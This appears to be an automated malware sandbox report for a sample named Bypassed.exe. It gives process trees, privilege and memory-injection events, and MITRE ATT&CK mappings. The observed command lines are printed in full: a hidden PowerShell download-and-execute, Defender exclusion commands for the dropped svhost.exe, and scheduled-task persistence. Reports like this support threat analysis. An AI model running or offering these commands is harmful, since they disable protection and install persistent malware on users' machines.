2300	powershell.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
2300	powershell.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
2300	powershell.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
2300	powershell.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
2300	powershell.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe
1204	lpb55got.w4l.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3352	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	60	145cf2cc-8737-4047-9a80-495bbee398f9.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeIncreaseQuotaPrivilege	1516	powershell.exe
Token: SeSecurityPrivilege	1516	powershell.exe
Token: SeTakeOwnershipPrivilege	1516	powershell.exe
Token: SeLoadDriverPrivilege	1516	powershell.exe
Token: SeSystemProfilePrivilege	1516	powershell.exe
Token: SeSystemtimePrivilege	1516	powershell.exe
Token: SeProfSingleProcessPrivilege	1516	powershell.exe
Token: SeIncBasePriorityPrivilege	1516	powershell.exe
Token: SeCreatePagefilePrivilege	1516	powershell.exe
Token: SeBackupPrivilege	1516	powershell.exe
Token: SeRestorePrivilege	1516	powershell.exe
Token: SeShutdownPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeSystemEnvironmentPrivilege	1516	powershell.exe
Token: SeRemoteShutdownPrivilege	1516	powershell.exe
Token: SeUndockPrivilege	1516	powershell.exe
Token: SeManageVolumePrivilege	1516	powershell.exe
Token: 33	1516	powershell.exe
Token: 34	1516	powershell.exe
Token: 35	1516	powershell.exe
Token: 36	1516	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeIncreaseQuotaPrivilege	4208	powershell.exe
Token: SeSecurityPrivilege	4208	powershell.exe
Token: SeTakeOwnershipPrivilege	4208	powershell.exe
Token: SeLoadDriverPrivilege	4208	powershell.exe
Token: SeSystemProfilePrivilege	4208	powershell.exe
Token: SeSystemtimePrivilege	4208	powershell.exe
Token: SeProfSingleProcessPrivilege	4208	powershell.exe
Token: SeIncBasePriorityPrivilege	4208	powershell.exe
Token: SeCreatePagefilePrivilege	4208	powershell.exe
Token: SeBackupPrivilege	4208	powershell.exe
Token: SeRestorePrivilege	4208	powershell.exe
Token: SeShutdownPrivilege	4208	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeSystemEnvironmentPrivilege	4208	powershell.exe
Token: SeRemoteShutdownPrivilege	4208	powershell.exe
Token: SeUndockPrivilege	4208	powershell.exe
Token: SeManageVolumePrivilege	4208	powershell.exe
Token: 33	4208	powershell.exe
Token: 34	4208	powershell.exe
Token: 35	4208	powershell.exe
Token: 36	4208	powershell.exe
Token: SeDebugPrivilege	3268	svhost.exe
Token: SeDebugPrivilege	1408	svhost.exe
Token: SeDebugPrivilege	1408	svhost.exe
Token: SeDebugPrivilege	1204	lpb55got.w4l.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeShutdownPrivilege	4804	svchost.exe
Token: SeCreatePagefilePrivilege	4804	svchost.exe
Token: SeShutdownPrivilege	4804	svchost.exe
Token: SeCreatePagefilePrivilege	4804	svchost.exe
Token: SeShutdownPrivilege	4804	svchost.exe
Token: SeCreatePagefilePrivilege	4804	svchost.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3008	Conhost.exe
5000	Conhost.exe
4508	Conhost.exe
116	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
1340	TextInputHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1548 wrote to memory of 60	1548	Bypassed.exe	83
PID 60 wrote to memory of 1516	60	145cf2cc-8737-4047-9a80-495bbee398f9.exe	84
PID 60 wrote to memory of 4208	60	145cf2cc-8737-4047-9a80-495bbee398f9.exe	88
PID 1408 wrote to memory of 1204	1408	svhost.exe	93
PID 1408 wrote to memory of 4596	1408	svhost.exe	94
PID 1204 wrote to memory of 624	1204	lpb55got.w4l.exe	5
PID 1204 wrote to memory of 688	1204	lpb55got.w4l.exe	7
PID 1204 wrote to memory of 900	1204	lpb55got.w4l.exe	11
PID 1204 wrote to memory of 344	1204	lpb55got.w4l.exe	13
PID 1204 wrote to memory of 444	1204	lpb55got.w4l.exe	14
PID 1204 wrote to memory of 480	1204	lpb55got.w4l.exe	15
PID 1204 wrote to memory of 1032	1204	lpb55got.w4l.exe	16
PID 1204 wrote to memory of 1040	1204	lpb55got.w4l.exe	17
PID 1204 wrote to memory of 1136	1204	lpb55got.w4l.exe	18
PID 1204 wrote to memory of 1176	1204	lpb55got.w4l.exe	19
PID 1204 wrote to memory of 1188	1204	lpb55got.w4l.exe	20
PID 1204 wrote to memory of 1260	1204	lpb55got.w4l.exe	21
PID 1204 wrote to memory of 1268	1204	lpb55got.w4l.exe	22
PID 1204 wrote to memory of 1420	1204	lpb55got.w4l.exe	23
PID 1204 wrote to memory of 1456	1204	lpb55got.w4l.exe	24
PID 1204 wrote to memory of 1468	1204	lpb55got.w4l.exe	25
PID 1204 wrote to memory of 1496	1204	lpb55got.w4l.exe	26
PID 1204 wrote to memory of 1620	1204	lpb55got.w4l.exe	27
PID 1204 wrote to memory of 1648	1204	lpb55got.w4l.exe	28
PID 1204 wrote to memory of 1684	1204	lpb55got.w4l.exe	29
PID 1204 wrote to memory of 1720	1204	lpb55got.w4l.exe	30
PID 1204 wrote to memory of 1792	1204	lpb55got.w4l.exe	31
PID 1204 wrote to memory of 1828	1204	lpb55got.w4l.exe	32
PID 1204 wrote to memory of 1904	1204	lpb55got.w4l.exe	33
PID 1204 wrote to memory of 1912	1204	lpb55got.w4l.exe	34
PID 1204 wrote to memory of 1920	1204	lpb55got.w4l.exe	35
PID 1204 wrote to memory of 2004	1204	lpb55got.w4l.exe	36
PID 1204 wrote to memory of 2016	1204	lpb55got.w4l.exe	37
PID 1204 wrote to memory of 2080	1204	lpb55got.w4l.exe	38
PID 1204 wrote to memory of 2176	1204	lpb55got.w4l.exe	40
PID 1204 wrote to memory of 2372	1204	lpb55got.w4l.exe	42
PID 1204 wrote to memory of 2460	1204	lpb55got.w4l.exe	43
PID 1204 wrote to memory of 2604	1204	lpb55got.w4l.exe	45
PID 1204 wrote to memory of 2612	1204	lpb55got.w4l.exe	46
PID 1204 wrote to memory of 2676	1204	lpb55got.w4l.exe	47
PID 1204 wrote to memory of 2784	1204	lpb55got.w4l.exe	48
PID 1204 wrote to memory of 2820	1204	lpb55got.w4l.exe	49
PID 1204 wrote to memory of 2856	1204	lpb55got.w4l.exe	50
PID 1204 wrote to memory of 2864	1204	lpb55got.w4l.exe	51
PID 1204 wrote to memory of 2932	1204	lpb55got.w4l.exe	52
PID 1204 wrote to memory of 3076	1204	lpb55got.w4l.exe	53
PID 1204 wrote to memory of 3128	1204	lpb55got.w4l.exe	54
PID 1204 wrote to memory of 3192	1204	lpb55got.w4l.exe	55
PID 1204 wrote to memory of 3352	1204	lpb55got.w4l.exe	56
PID 1204 wrote to memory of 3376	1204	lpb55got.w4l.exe	57
PID 1204 wrote to memory of 3524	1204	lpb55got.w4l.exe	58
PID 1204 wrote to memory of 3804	1204	lpb55got.w4l.exe	60
PID 1204 wrote to memory of 4040	1204	lpb55got.w4l.exe	62
PID 1204 wrote to memory of 2740	1204	lpb55got.w4l.exe	63
PID 1204 wrote to memory of 3648	1204	lpb55got.w4l.exe	66
PID 1204 wrote to memory of 3972	1204	lpb55got.w4l.exe	68
PID 1204 wrote to memory of 424	1204	lpb55got.w4l.exe	69
PID 1204 wrote to memory of 4544	1204	lpb55got.w4l.exe	70
PID 1204 wrote to memory of 1012	1204	lpb55got.w4l.exe	71
PID 1204 wrote to memory of 3684	1204	lpb55got.w4l.exe	72
PID 1204 wrote to memory of 3456	1204	lpb55got.w4l.exe	73
PID 1204 wrote to memory of 4020	1204	lpb55got.w4l.exe	74
PID 1204 wrote to memory of 1340	1204	lpb55got.w4l.exe	75
PID 1204 wrote to memory of 4980	1204	lpb55got.w4l.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1032

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4164c4f4-1604-4fe8-99e2-0d7bd4535cd5 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-799f9598-a574-4d87-940d-f37f9406de0e -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-509aa2c2-f875-43ad-822e-d91a05012fdf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a35fe481-6b1e-42ea-85b9-7dcec1dd81a5 -LifetimeId:ab3e2809-6135-46e1-8ce5-92e3e46d4af1 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:344

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1260
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3128
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Users\Admin\AppData\Local\Temp\lpb55got.w4l.exe
    "C:\Users\Admin\AppData\Local\Temp\lpb55got.w4l.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1204
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4596
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:868
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2300
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:3008
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4640
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:5000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1648
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2016

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3192

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3352
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Users\Admin\AppData\Local\Temp\145cf2cc-8737-4047-9a80-495bbee398f9.exe
    "C:\Users\Admin\AppData\Local\Temp\145cf2cc-8737-4047-9a80-495bbee398f9.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:60
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3524

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3804

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4040

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:424

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1012

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3456

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
PID:4020

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
- Suspicious use of UnmapMainImage
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4460

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3820

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3268

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1896

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 9b15c7886228bfd1ba00b0e5f1405617 TD11JUQlK0CkE8Aq3hX17w.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:2384
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4804

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
PID:2712

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4508

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:1016

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:864

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:116

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:3596

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery